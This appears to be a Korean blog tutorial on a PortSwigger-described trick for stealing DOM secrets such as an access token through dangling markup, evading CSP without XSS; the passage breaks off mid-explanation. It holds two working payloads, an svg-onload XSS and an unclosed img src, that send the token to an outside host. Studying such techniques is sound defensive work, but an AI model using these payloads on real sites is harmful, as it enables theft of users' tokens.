EN

XSS 없이 DOM 내 중요정보 탈취, CSP 우회하기(Eavading CSP and Critical data leakage No XSS)

최근 Portsiwgger 블로그에 재미있는 글이 올라와 관려해서 글 작성해봅니다. (https://portswigger.net/blog/evading-csp-with-dom-based-dangling-markup )

csp evasion 기술에 대한 이야기로 웹 브라우저 내 전달받은 token 이나 중요정보에 대한 탈취가 가능한 재미있는 트릭입니다.

[ Request ]

GET /test.html?param=abcd<br>ef

[ Response ]

abcd<br>ef
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

이런 페이지가 있다고 가정헀을 때 access_token 값은 어떻게 탈취 할 수 있을까요? 음 저라면 XSS를 이용해서 이런식으로 요청할 것 같습니다.

[ Request ]

GET /test.html?param=abcd<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'>

[ Response ]

<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

Portswigger 쪽 연구원이 고안한(?) 기발한 방법은 " 를 일부러 닫지 않아 토큰 영역까지 src 부분으로 넣어버리는 겁니다..

[ Request ]됨

GET /test.html?param=<img/src="https://www.hahwul.com/get?

[ Response ]

<img/src="https://www.hahwul.com/get?
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

그러면 src 부분이 아래